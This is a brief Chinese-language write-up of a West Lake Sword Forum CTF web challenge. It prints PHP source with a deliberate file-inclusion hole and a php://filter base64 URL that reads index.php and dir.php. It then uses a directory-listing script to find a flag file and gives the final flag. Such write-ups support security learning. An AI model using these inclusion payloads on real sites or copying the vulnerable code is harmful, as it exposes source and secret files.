西湖论剑的题目 前些天没有做 今天西湖论剑的题目重新放了出来 可以复现了
故来做一下web题目 题目质量较高
打开题目连接 看到一个类似博客界面 都不是重点 重点是看到了
include $_GET['file']
看到这突然想到题目考查的应该是文件包含相关知识
故试一下
http://61.164.47.198:10000/?file=php://filter/convert.base64-encode/resource=index.php
两端base64加密的内容 第一段为index.php加密后的内容
base解密后为
<?php
$a = @$_GET['file'];
if (!$a) {
$a = './templates/index.html';
}
echo 'include $_GET[\'file\']';
if (strpos('flag',$a)!==false) {
die('nonono');
}
include $a;
?>
<!--hint: ZGlyLnBocA== -->
貌似用处不大 不过第二段的<!--hint: ZGlyLnBocA== -->
解密后为dir.php
访问一下
http://61.164.47.198:10000/dir.php
接下来利用文件包含 包含dir.php
这个文件。
http://61.164.47.198:10000/?file=php://filter/convert.base64-encode/resource=dir.php
base64解密后得到 dir.php
源码
<?php
$a = @$_GET['dir']; //dir通过接收数据并复制给变量a
if(!$a){
$a = '/tmp'; //默认a的路径
}
var_dump(scandir($a)); //列出指定路径中的文件和目录
也就是说dir.php可以读取你输入的目录并展示目录下的所有文件
自己想的是 如果我输入某目录 就会展示出目录下所有文件 文件夹名 之后我是不是可以利用文件包含 读取任意文件的内容呢??
经过测试 发现ffffflag_is_Her4
文件
估计flag在文件内
利用文件包含读取内容
果然发现flag
flag{8dc25fd21c52958f777ce92409e2802a}